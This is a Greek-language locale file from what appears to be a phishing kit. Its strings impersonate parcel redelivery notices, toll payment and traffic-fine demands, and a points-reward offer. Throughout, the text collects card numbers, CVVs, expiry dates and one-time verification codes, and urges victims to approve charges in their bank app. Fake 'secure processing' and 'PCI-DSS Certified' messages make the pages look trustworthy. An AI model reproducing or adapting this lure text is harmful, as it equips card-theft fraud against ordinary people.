Files
zy-client-a/a9_usa_Fine_amazon/src/locales/cy/index.ts
telangpu 35a00381fe update
2026-05-10 22:48:33 +08:00

133 lines
11 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

export default {
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
"Your Name": "Το όνομά σας",
"Address": "Διεύθυνση",
"Detailed Address": "Λεπτομερής Διεύθυνση",
"(Optional)": "(Προαιρετικό)",
"City": "Πόλη",
"State": "Πολιτεία",
"Province": "Επαρχία",
"Region": "Περιοχή",
"Zip Code": "Ταχυδρομικός Κώδικας",
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
"Next": "Επόμενο",
"Telephone Number": "Αριθμός Τηλεφώνου",
"Online": "Online",
"Payment": "Πληρωμή",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
"lump sum: ": "Εφάπαξ: ",
"Cardholder": "Κάτοχος Κάρτας",
"Card Number": "Αριθμός Κάρτας",
"Expire Date": "Ημερομηνία Λήξης",
"Security Code": "Κωδικός Ασφαλείας",
"Submit": "Υποβολή",
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
"Mailing address": "Διεύθυνση Αποστολής",
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
"Safe payment": "Ασφαλής Πληρωμή",
"Verification code": "Κωδικός Επαλήθευσης",
"Welcome": "Καλώς ήρθατε",
"back": "Πίσω!",
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
"Check your points": "Ελέγξτε τους πόντους σας",
"Phone number": "Αριθμός Τηλεφώνου",
"Inquire": "Ρωτήστε",
"Exchange": "Ανταλλαγή",
"Spend points": "Ξοδέψτε Πόντους",
"Points Available": "Διαθέσιμοι Πόντοι",
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
"Order number": "Αριθμός Παραγγελίας: ",
"Pay": "Πληρωμή",
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
"Billing Information": "Πληροφορίες Τιμολόγησης",
"Description": "Περιγραφή",
"Dear customer": "Αγαπητέ πελάτη:",
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
"Invoice Number": "Αριθμός Τιμολογίου",
"Amount": "Ποσό",
"Pay Immediately": "Πληρώστε Άμεσα",
"Phone Number": "Αριθμός Τηλεφώνου",
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
"Illustrate": "Επεξηγήστε",
"SSL Encryption": "Κρυπτογράφηση SSL",
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
"Transaction ID:": "Αριθμός Συναλλαγής:",
"Processing Network:": "Δίκτυο Επεξεργασίας:",
"Processing Time:": "Χρόνος Επεξεργασίας:",
"Security Level:": "Επίπεδο Ασφαλείας:",
"Preparing...": "Προετοιμασία...",
"High": "Υψηλό",
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
"UnionPay Gateway": "Πύλη UnionPay",
"{time} seconds": "{time} δευτερόλεπτα",
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
"Toll Payment": "Πληρωμή Διοδίων",
"License Plate Number": "Αριθμός Κυκλοφορίας",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
"Tolls": "Διόδια",
"Due Date": "Ημερομηνία Λήξης",
"Fine Amount": "Ποσό προστίμου",
"Pay Now": "Πληρώστε Τώρα",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
"First and Last Name": "Όνομα και Επώνυμο",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Ημερομηνία Λήξης",
"MM/YY": "MM/ΕΕ",
"123(CVV)": "123(CVV)",
"Card Icon": "Εικονίδιο Κάρτας",
"CVV": "CVV",
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
"Phone": "Τηλέφωνο",
"Toll Amount": "Ποσό Διοδίων",
"50.00 EUR": "50.00 EUR"
};